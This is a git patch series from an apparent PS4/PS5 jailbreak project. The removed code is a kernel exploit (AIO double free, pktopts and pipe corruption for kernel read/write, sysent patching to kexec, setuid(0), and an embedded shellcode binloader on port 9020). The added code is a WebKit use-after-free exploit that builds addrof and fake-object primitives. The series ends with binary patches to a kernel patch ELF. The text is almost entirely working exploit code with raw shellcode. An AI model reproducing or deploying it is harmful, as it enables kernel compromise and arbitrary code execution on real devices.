in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when - // using pktopts write. we can safely modify a pipe even with this limit so - // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be - // clobbered with zeros but that's okay - class KernelMemory { - constructor(main_sd, worker_sd, pipes, pipe_addr) { - this.main_sd = main_sd; - this.worker_sd = worker_sd; - this.rpipe = pipes[0]; - this.wpipe = pipes[1]; - this.pipe_addr = pipe_addr; // &pipe.pipe_buf - this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer - this.rw_buf = new Buffer(0x14); - this.addr_buf = new Buffer(0x14); - this.data_buf = new Buffer(0x14); - this.data_buf.write32(0xc, 0x40000000); - } - - _verify_len(len) { - if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) { - throw TypeError('len not a 32-bit unsigned integer'); + rdr.set_addr(search_addr); + fp++; } } - copyin(src, dst, len) { - this._verify_len(len); - const main = this.main_sd; - const worker = this.worker_sd; - const addr_buf = this.addr_buf; - const data_buf = this.data_buf; - - addr_buf.write64(0, this.pipe_addr); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - data_buf.write64(0, 0); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); - - addr_buf.write64(0, this.pipe_addr2); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - addr_buf.write64(0, dst); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - sysi('write', this.wpipe, src, len); - } - - copyout(src, dst, len) { - this._verify_len(len); - const main = this.main_sd; - const worker = this.worker_sd; - const addr_buf = this.addr_buf; - const data_buf = this.data_buf; - - addr_buf.write64(0, this.pipe_addr); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - data_buf.write32(0, 0x40000000); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); - - addr_buf.write64(0, this.pipe_addr2); - ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - addr_buf.write64(0, src); - ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - - sysi('read', this.rpipe, dst, len); - } - - _read(addr) { - const buf = this.rw_buf; - buf.write64(0, addr); - buf.fill(0, 8); - ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); - gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); - } - - read32(addr) { - this._read(addr); - return this.rw_buf.read32(0); - } - - read64(addr) { - this._read(addr); - return this.rw_buf.read64(0); - } - - write32(addr, value) { - this.rw_buf.write32(0, value); - this.copyin(this.rw_buf.addr, addr, 4); - } - - write64(addr, value) { - this.rw_buf.write64(0, value); - this.copyin(this.rw_buf.addr, addr, 8); - } + find_cb_loop++; + gc(); + await sleep(); } - const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe); + log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); + log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); - const kstr3_buf = new Buffer(8); - kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size); - const kstr3 = jstr(kstr3_buf); - log(`*(&"evf cv"): ${kstr3}`); - if (kstr3 !== 'evf cv') { - die('pipe read failed'); + log('CodeBlock.m_constantRegisters.m_buffer:'); + rdr.set_addr(search_addr.add(winning_off)); + for (let i = 0; i < slen; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); } - log('achieved arbitrary kernel read/write'); - // RESTORE: clean corrupt pointer - // pktopts.ip6po_rthdr = NULL - //ABC Patch - const off_ip6po_rthdr = 0x68; - const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr); - const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr); - kmem.write64(r_rthdr_p, 0); - kmem.write64(w_rthdr_p, 0); - log('corrupt pointers cleaned'); + const bt_addr = rdr.read64_at(bt_offset); + const strs_addr = rdr.read64_at(strs_offset); + log(`immutable butterfly addr: ${bt_addr}`); + log(`string array passed to tag addr: ${strs_addr}`); - /* - // REMOVE once restore kernel is ready for production - // increase the ref counts to prevent deallocation - kmem.write32(main_sock, kmem.read32(main_sock) + 1); - kmem.write32(worker_sock, kmem.read32(worker_sock) + 1); - // +2 since we have to take into account the fget_write()'s reference - kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/ - - return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; + log('JSImmutableButterfly:'); + rdr.set_addr(bt_addr); + for (let i = 0; i < bt_size; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + log('string array:'); + rdr.set_addr(strs_addr); + for (let i = 0; i < off.size_jsobj; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + return [winning_f, bt_addr, strs_addr]; } -// FUNCTIONS FOR STAGE: PATCH KERNEL - -async function get_patches(url) { - const response = await fetch(url); - if (!response.ok) { - throw Error( - `Network response was not OK, status: ${response.status}\n` - + `failed to fetch: ${url}`); - } - return response.arrayBuffer(); -} - -// 9.00 supported only -async function patch_kernel(kbase, kmem, p_ucred, restore_info) { - if (!is_ps4) { - throw RangeError('PS5 kernel patching unsupported'); - } - if (!(0x800 <= version < 0x900)) { - throw RangeError('kernel patching unsupported'); - } - - log('change sys_aio_submit() to sys_kexec()'); - // sysent[661] is unimplemented so free for use - const offset_sysent_661 = 0x1107f00; - const sysent_661 = kbase.add(offset_sysent_661); - // .sy_narg = 6 - kmem.write32(sysent_661, 6); - // .sy_call = gadgets['jmp qword ptr [rsi]'] - kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad)); - // .sy_thrcnt = SY_THR_STATIC - kmem.write32(sysent_661.add(0x2c), 1); - - log('add JIT capabilities'); - // TODO just set the bits for JIT privs - // cr_sceCaps[0] - kmem.write64(p_ucred.add(0x60), -1); - // cr_sceCaps[1] - kmem.write64(p_ucred.add(0x68), -1); - - const buf = await get_patches('./kpatch/900.elf'); - // FIXME handle .bss segment properly - // assume start of loadable segments is at offset 0x1000 - const patches = new View1(await buf, 0x1000); - let map_size = patches.size; - const max_size = 0x10000000; - if (map_size > max_size) { - die(`patch file too large (>${max_size}): ${map_size}`); - } - if (map_size === 0) { - die('patch file size is zero'); - } - map_size = map_size+page_size & -page_size; - - const prot_rwx = 7; - const prot_rx = 5; - const prot_rw = 3; - const exec_p = new Int(0, 9); - const write_p = new Int(max_size, 9); - const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx); - const write_fd = sysi('jitshm_alias', exec_fd, prot_rw); - - const exec_addr = chain.sysp( - 'mmap', - exec_p, - map_size, - prot_rx, - MAP_SHARED|MAP_FIXED, - exec_fd, - 0, - ); - const write_addr = chain.sysp( - 'mmap', - write_p, - map_size, - prot_rw, - MAP_SHARED|MAP_FIXED, - write_fd, - 0, - ); - - log(`exec_addr: ${exec_addr}`); - log(`write_addr: ${write_addr}`); - if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) { - die('mmap() for jit failed'); - } - - log('mlock exec_addr for kernel exec'); - sysi('mlock', exec_addr, map_size); - - // mov eax, 0x1337; ret (0xc300_0013_37b8) - const test_code = new Int(0x001337b8, 0xc300); - write_addr.write64(0, test_code); - - log('test jit exec'); - sys_void('kexec', exec_addr); - let retval = chain.errno; - log('returned successfully'); - - log(`jit retval: ${retval}`); - if (retval !== 0x1337) { - die('test jit exec failed'); - } - - const pipe_save = restore_info[1]; - restore_info[1] = pipe_save.addr; - log('mlock pipe save data for kernel restore'); - sysi('mlock', restore_info[1], page_size); - - mem.cpy(write_addr, patches.addr, patches.size); - sys_void('kexec', exec_addr, ...restore_info); - - log('setuid(0)'); - sysi('setuid', 0); - log('kernel exploit succeeded!'); - localStorage.ExploitLoaded="yes" - sessionStorage.ExploitLoaded="yes" - //alert("kernel exploit succeeded!"); -} - - - -// FUNCTIONS FOR STAGE: SETUP - -function setup(block_fd) { - // this part will block the worker threads from processing entries so that - // we may cancel them instead. this is to work around the fact that - // aio_worker_entry2() will fdrop() the file associated with the aio_entry - // on ps5. we want aio_multi_delete() to call fdrop() - log('block AIO'); - const reqs1 = new Buffer(0x28 * num_workers); - const block_id = new Word(); - - for (let i = 0; i < num_workers; i++) { - reqs1.write32(8 + i*0x28, 1); - reqs1.write32(0x20 + i*0x28, block_fd); - } - aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr); - - { - const reqs1 = make_reqs1(1); - const timo = new Word(1); - const id = new Word(); - aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr); - chain.do_syscall_clear_errno( - 'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr); - const err = chain.errno; - if (err !== 60) { // ETIMEDOUT - die(`SceAIO system not blocked. errno: ${err}`); - } - free_aios(id.addr, 1); - } - - log('heap grooming'); - // chosen to maximize the number of 0x80 malloc allocs per submission - const num_reqs = 3; - const groom_ids = new View4(num_grooms); - const groom_ids_p = groom_ids.addr; - const greqs = make_reqs1(num_reqs); - // allocate enough so that we start allocating from a newly created slab - spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); - cancel_aios(groom_ids_p, num_grooms); - return [block_id, groom_ids]; -} - -function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - -function runBinLoader() { - var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); - var payload_loader = malloc32(0x1000); - var BLDR = payload_loader.backing; - BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; - BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; - BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; - BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; - BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; - BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; - BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; - BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; - BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; - BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; - BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; - BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; - BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; - BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; - BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; - BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; - BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; - BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; - BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; - BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; - BLDR[60] = 0xC3050FCA; - - chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); - - var pthread = malloc(0x10); - sysi('mlock', payload_buffer, 0x300000); - - call_nze( - 'pthread_create', - pthread, - 0, - payload_loader, - payload_buffer - ); - - log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now'); -} - -// overview: -// * double free a aio_entry (resides at a 0x80 malloc zone) -// * type confuse a evf and a ip6_rthdr -// * use evf/rthdr to read out the contents of the 0x80 malloc zone -// * leak a address in the 0x100 malloc zone -// * write the leaked address to a aio_entry -// * double free the leaked address -// * corrupt a ip6_pktopts for restricted r/w -// * corrupt a pipe for arbitrary r/w +// data to write to the SerializedScriptValue // -// the exploit implementation also assumes that we are pinned to one core -export async function kexploit() { - const _init_t1 = performance.now(); - await init(); - const _init_t2 = performance.now(); - - try { - chain.sys('setuid', 0); - } catch (e) { - localStorage.ExploitLoaded = "no"; - } - - if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") { - runBinLoader(); - return new Promise(() => {}); - } - - // fun fact: - // if the first thing you do since boot is run the web browser, WebKit can - // use all the cores - const main_mask = new Long(); - get_our_affinity(main_mask); - log(`main_mask: ${main_mask}`); - - // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap - // spraying and grooming easier - log(`pinning process to core #${main_core}`); - set_our_affinity(new Long(1 << main_core)); - get_our_affinity(main_mask); - log(`main_mask: ${main_mask}`); - - log("setting main thread's priority"); - sysi('rtprio_thread', RTP_SET, 0, rtprio.addr); - - const [block_fd, unblock_fd] = (() => { - const unix_pair = new View4(2); - sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); - return unix_pair; +// setup to make deserialization create an ArrayBuffer with an arbitrary buffer +// address +function make_ssv_data(ssv_buf, view, view_p, addr, size) { + // sizeof JSC::ArrayBufferContents + const size_abc = (() => { + if (is_ps4) { + return version >= 0x900 ? 0x18 : 0x20; + } else { + return version >= 0x300 ? 0x18 : 0x20; + } })(); - const sds = []; - for (let i = 0; i < num_sds; i++) { - sds.push(new_socket()); - } + const data_len = 9; + // sizeof WTF::Vector + const size_vector = 0x10; - let block_id = null; - let groom_ids = null; - try { - log('STAGE: Setup'); - [block_id, groom_ids] = setup(block_fd); + // SSV offsets + const off_m_data = 8; + const off_m_abc = 0x18; + // view offsets + const voff_vec_abc = 0; // Vector + const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents + const voff_data = voff_abc + size_abc; - log('\nSTAGE: Double free AIO queue entry'); - const sd_pair = double_free_reqs2(sds); + // WTF::Vector + // write m_data + // m_buffer + ssv_buf.write64(off_m_data, view_p.add(voff_data)); + // m_capacity + ssv_buf.write32(off_m_data + 8, data_len); + // m_size + ssv_buf.write64(off_m_data + 0xc, data_len); - log('\nSTAGE: Leak kernel addresses'); - const [ - reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, - ] = leak_kernel_addrs(sd_pair); + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + view.write32(voff_data, CurrentVersion); + view[voff_data + 4] = ArrayBufferTransferTag; + view.write32(voff_data + 5, 0); - log('\nSTAGE: Double free SceKernelAioRWRequest'); - const [pktopts_sds, dirty_sd] = double_free_reqs1( - reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, - ); + // std::unique_ptr> + // write m_arrayBufferContentsArray + ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); + // write WTF::Vector + view.write64(voff_vec_abc, view_p.add(voff_abc)); + view.write32(voff_vec_abc + 8, 1); + view.write32(voff_vec_abc + 0xc, 1); - log('\nSTAGE: Get arbitrary kernel read/write'); - const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( - pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); - - log('\nSTAGE: Patch kernel'); - await patch_kernel(kbase, kmem, p_ucred, restore_info); - - } finally { - close(unblock_fd); - - const t2 = performance.now(); - const ftime = t2 - t1; - const init_time = _init_t2 - _init_t1; - log('\ntime (include init): ' + (ftime) / 1000); - log('kex time: ' + (t2 - _init_t2) / 1000); - log('init time: ' + (init_time) / 1000); - log('time to init: ' + (_init_t1 - t1) / 1000); - log('time - init time: ' + (ftime - init_time) / 1000); - } - close(block_fd); - free_aios2(groom_ids.addr, groom_ids.length); - aio_multi_wait(block_id.addr, 1); - aio_multi_delete(block_id.addr, block_id.length); - for (const sd of sds) { - close(sd); + if (size_abc === 0x20) { + // m_destructor, offset 0, leave as 0 + // m_shared, offset 8, leave as 0 + // m_data + view.write64(voff_abc + 0x10, addr); + // m_sizeInBytes + view.write32(voff_abc + 0x18, size); + } else { + // m_data + view.write64(voff_abc + 0, addr); + // m_destructor (48 bits), offset 8, leave as 0 + // m_shared (48 bits), offset 0xe, leave as 0 + // m_sizeInBytes + view.write32(voff_abc + 0x14, size); } } +async function make_arw(reader, view2, pop) { + const rdr = reader; -kexploit().then(() => { - - window.pld_size = new Int(0x26200000, 0x9); + // we have to align the fake object to atomSize (16) else the process + // crashes. we don't know why + // + // since cells (GC memory chunks) are always aligned to atomSize, there + // might be code that's assuming that all GC pointers are aligned + // + // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at + // PS4 8.0x + const fakeobj_off = 0x20; + const fakebt_base = fakeobj_off + off.size_jsobj; + // sizeof JSC::IndexingHeader + const indexingHeader_size = 8; + // sizeof JSC::ArrayStorage + const arrayStorage_size = 0x18; + // there's only the .raw property + const propertyStorage = 8; + const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; - var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); - var payload = window.pld; - var bufLen = payload.length * 4 - var payload_loader = malloc32(bufLen); - var loader_writer = payload_loader.backing; - for (var i = 0; i < payload.length; i++) { - loader_writer[i] = payload[i]; + log('STAGE: leak CodeBlock'); + // has too be greater than 0x10. the size of JSImmutableButterfly + const bt_size = 0x10 + fakebt_off + arrayStorage_size; + const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); + + const view = rdr.rstr_view; + const view_p = rdr.m_data.sub(off.strimpl_inline_str); + const view_save = new Uint8Array(view); + + view.fill(0); + make_ssv_data(view2, view, view_p, bt_addr, bt_size); + + const bt = new BufferView(pop.state); + view.set(view_save); + + log('ArrayBuffer pointing to JSImmutableButterfly:'); + for (let i = 0; i < bt.byteLength; i += 8) { + log(`${bt.read64(i)} | ${hex(i)}`); } - chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); - var pthread = malloc(0x10); - call_nze( - 'pthread_create', - pthread, - 0, - payload_loader, - payload_buffer, + // the immutable butterfly's indexing type is ArrayWithInt32 so + // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots + // for JSObjects to recursively visit. this means that we can write + // anything to the the butterfly's data area without fear of a GC crash + + const val_true = 7; // JSValue of "true" + const strs_cell = rdr.read64(strs_addr); + + bt.write64(fakeobj_off, strs_cell); + bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); + + // since .raw is the first ever created property, it's just besides the + // indexing header + bt.write64(fakebt_off - 0x10, val_true); + // indexing header's publicLength and vectorLength + bt.write32(fakebt_off - 8, 1); + bt.write32(fakebt_off - 8 + 4, 1); + + // custom ArrayStorage that allows read/write to index 0. we have to use an + // ArrayStorage because the structure assigned to the structure ID expects + // one so visitButterfly() will crash if we try to fake the object with a + // regular butterfly + + // m_sparseMap + bt.write64(fakebt_off, 0); + // m_indexBias + bt.write32(fakebt_off + 8, 0); + // m_numValuesInVector + bt.write32(fakebt_off + 0xc, 1); + + // m_vector[0] + bt.write64(fakebt_off + 0x10, val_true); + + // immutable_butterfly[0] = fakeobj; + bt.write64(0x10, bt_addr.add(fakeobj_off)); + + const fake = func()[0]; + log(`fake.raw: ${fake.raw}`); + log(`fake[0]: ${fake[0]}`); + log(`fake: [${fake}]`); + + const test_val = 3; + log(`test setting fake[0] to ${test_val}`); + fake[0] = test_val; + if (fake[0] !== test_val) { + die(`unexpected fake[0]: ${fake[0]}`); + } + + function addrof(obj) { + fake[0] = obj; + return bt.read64(fakebt_off + 0x10); + } + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.0x. + const worker = new DataView(new ArrayBuffer(1)); + const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); + + const leaker = {addr: null, 0: 0}; + + const worker_p = addrof(worker); + const main_p = addrof(main_template); + const leaker_p = addrof(leaker); + + // we'll fake objects using a JSArrayBufferView whose m_mode is + // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the + // current fastSizeLimit is 1000. if the length is less than or equal to + // that, we get a FastTypedArray + const scaled_sview = off.size_view / 4; + const faker = new Uint32Array(scaled_sview); + const faker_p = addrof(faker); + const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); + + const vector_idx = off.view_m_vector / 4; + const length_idx = off.view_m_length / 4; + const mode_idx = off.view_m_mode / 4; + const bt_idx = off.js_butterfly / 4; + + // fake a Uint32Array using GC memory + faker[vector_idx] = worker_p.lo; + faker[vector_idx + 1] = worker_p.hi; + faker[length_idx] = scaled_sview; + + rdr.set_addr(main_p); + faker[mode_idx] = rdr.read32_at(off.view_m_mode); + // JSCell + faker[0] = rdr.read32_at(0); + faker[1] = rdr.read32_at(4); + faker[bt_idx] = rdr.read32_at(off.js_butterfly); + faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); + + // fakeobj() + bt.write64(fakebt_off + 0x10, faker_vector); + const main = fake[0]; + + log('main (pointing to worker):'); + for (let i = 0; i < off.size_view; i += 8) { + const idx = i / 4; + log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); + } + + new Memory( + main, worker, leaker, + leaker_p.add(off.js_inline_prop), + rdr.read64(leaker_p.add(off.js_butterfly)), ); + log('achieved arbitrary r/w'); -}) + rdr.restore(); + // set the refcount to a high value so we don't free the memory, view's + // death will already free it (a StringImpl is currently using the memory) + view.write32(0, -1); + // ditto (a SerializedScriptValue is currently using the memory) + view2.write32(0, -1); + // we don't want its death to call fastFree() on GC memory + make_arw._buffer = bt.buffer; +} + +async function main() { + log('STAGE: UAF SSV'); + const [fsets, indices] = prepare_uaf(); + const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); + + log('STAGE: get string relative read primitive'); + const rdr = await make_rdr(view); + + for (const fset of fsets) { + fset.rows = ''; + fset.cols = ''; + } + + log('STAGE: achieve arbitrary read/write primitive'); + await make_arw(rdr, view2, pop); + + clear_log(); + // path to your script that will use the exploit + import('./lapse.mjs'); +} +main(); From d5e5b88721628431a19b65e6c5f7ba8d9b2f3ca9 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 22:48:22 +0200 Subject: [PATCH 08/11] Add files via upload --- kpatch/900.elf | Bin 5288 -> 5344 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/kpatch/900.elf b/kpatch/900.elf index a38fa6b29ce522f871cba606f666f29f17bcfd66..3c2b871fdfeefa52cfaaa23ab1d912218b2d9324 100644 GIT binary patch delta 493 zcmZ3X`9O1m29tvDL@hJJ1B?t{0HYZMApC%*B`GXG<{Uu?e-2O`Cy2js;&uM|gC3lx zJbE`d{QLi(U*Uj<>i_@${_`sxINmk^qz4Gnj<;DR~Fw35Xb z%#XF{f~ezdz1$pN4aeHpq=3>ujGfa4StnII`I!L*r2$n3qX3}K^aSCph+MA3Mpj3%)rFp01ZJ@ab^Z^$WFd1=*&20vZ9bYX%r$}#{u-bi_@${_`sxINmq`qz4GnjyG-vGAB#`GIoL)#~Kd->DR{^wUWgc z%#Stdf~ez-z1$pN4aXYmw<$BcKHlgct;FDAc;N7{Mm8y+dZ7Lz>y#NLygb(US6CgS z-%&(89YpUH0dpBe!PHtYFcm8ergUY16i{nPMiS5s#~ZEhSuyY{9Y1`$QGr!}kqKy{ zN8_QlM_Cv=IwxuXMUFT607+0#fV{)Yz`zJpe&FzAJ3%GJHIowsg+;Fbz4{I8QU(SI zAngLg8IwB&7lZo_J7VvVsW9WECM3pc#=u@{Hd$R|>H+ zGWtz!6xQbqfCgy5 Date: Fri, 23 May 2025 22:55:35 +0200 Subject: [PATCH 09/11] Add files via upload --- kpatch/900.elf | Bin 5344 -> 5320 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/kpatch/900.elf b/kpatch/900.elf index 3c2b871fdfeefa52cfaaa23ab1d912218b2d9324..1869f10d921141edb32f2723f73c48fdda88aaf2 100644 GIT binary patch delta 262 zcmaE$c|vo71|!ErO>@H)j0|7^qZtGs{D7w=DJ(!{iy(yG0#wHd;%}TNFCciVt$v#_ z!|UU14$?{t9)<@FPd+H1I{CMN(_{xh1;#6r69t7u|NQ&^{{loag9MOv0pbahI|bz> zYJf6N{{R0!14!=y(pNw#f%L?KGL!EJ%1CNJ?Sg6sQ_Kv^3@wudh1?liCPxa%GhWzS zDa6jms4=-wSf3N7L1XexVRKHnQz!ovwr5;1*;2%wamM6I5qr*4LJ%V@CpU`70{~#L BO2hyF delta 263 zcmX@1`9O1m2BX46O>@Hoj0|7^qZtGs{D7w=DJ($d96<m>=`eYrusJ8(&66Jr+cO@RtSDm7xM6Z4kbE?Gp@=#F Dc|S|! From 490b03c88183f8c03af8c242f94dfc7407bc714f Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 23:06:16 +0200 Subject: [PATCH 10/11] Add files via upload --- 900.elf | Bin 0 -> 5312 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 900.elf diff --git a/900.elf b/900.elf new file mode 100644 index 0000000000000000000000000000000000000000..d9af6519b69b5014e61942df666170e126fe9bf0 GIT binary patch literal 5312 zcmeHL-Afcv6hE`OenGjLT1Xo;snHjS`BG+tf~yy@uZ=#SU@%=-2rDqU;^r()}Qu47@H_g^Np#9jPm4n>fEu!E7%z%gFx z7B@;HHDg&Wp{~+1x3mV1wI#d)DFze+iUGxdVn8vV7*Gr-1{4E|0mXn~;D2ObHM;lb zWszN7Jd5r`_VZ#D^egW4Mv-%3>RL=pXBtIzK}=n!7KcAXXJStpG%;DwM91>o6*1M< zC~Phun7VJewX=_i3ek2k_eIaniJJFf`bF28<3#m>IN&&IPPD0DTRH!q{jhDlgqh31 zn01YkH4nX1vW^Vyq7x;4!wNp$cEVr-$173;HwMw}CrKNR zY4L4U)j7a;uCNEsM>KSr0T7P0;fXko<1s?i2)_rOf4Sn%mW*S z{TTVLu=CKbq4~WF&|LC23A@u5Z*CIAgegS2KTp{h5C563$T)W#p_NVd*(}c2gE0M( za~jvhvKvnw&T}1_=Qy(eW~CahDr*I@;P=2gxw{&R;PS!stzQpGz2` zCrLx2#+?CkFin}%m^qqB(QVJA*0Fmd=D;mzGvn#Bw9M4FNv)~0F`O9~Nv&H(dMLx2 z{kz2R3g$34lj1(*oNFH^15)PFe&jgDH&|w4HB#kCi4FN%YKk&eEjX@{(P@l_^f Date: Fri, 23 May 2025 23:15:26 +0200 Subject: [PATCH 11/11] Add files via upload --- kpatch/900.elf | Bin 5320 -> 5288 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/kpatch/900.elf b/kpatch/900.elf index 1869f10d921141edb32f2723f73c48fdda88aaf2..8e6d0410b8644d6e271d333381ecd8c99f648c0c 100644 GIT binary patch delta 289 zcmX@1xk7V-2Ga|niCSic9gGZM0HYZMApC%*B`GXGW{Mz$p8{0J3F2>@C@7$Pysej; z11yntyzR(3WrhhakG0irQ)YO5yv;#ciNVA0z~N(UY*GviuP6T$P?9{}W_{0!fnVwP zVSa@J9=r?;j6lwT!wd|QH3Stjzx@0E-v(k0*m?sXTju}&|LdS)5usQ)B!_AQ$qj% delta 321 zcmZ3Xc|vo71`~(yL@hJJ6^smE0HYZMApC%*B`GXGW{V(%-vU&}3F2>@C@2tqtW7If zjKTa^n=XW^-=@s)`gogzv=W1d;eo?x$J>sqQ)Za(@>ttnVReSr$J!i4z|>v{#V88o z0Tq>GBr!~waJo)rVX((%KS&k88<@+%zh;ALQ71d1FuJefmKLG#ML|Nm_u&Hy{l z0LcCW6uSTwlK|2#Ks;e`prE{94N&IE|NsAI0O>tI`pV=+L3>7x$p;0+8Cxdb6m$oY zibC>?7dATzu`>cCJcac+HK5+pnA|9A&I$MI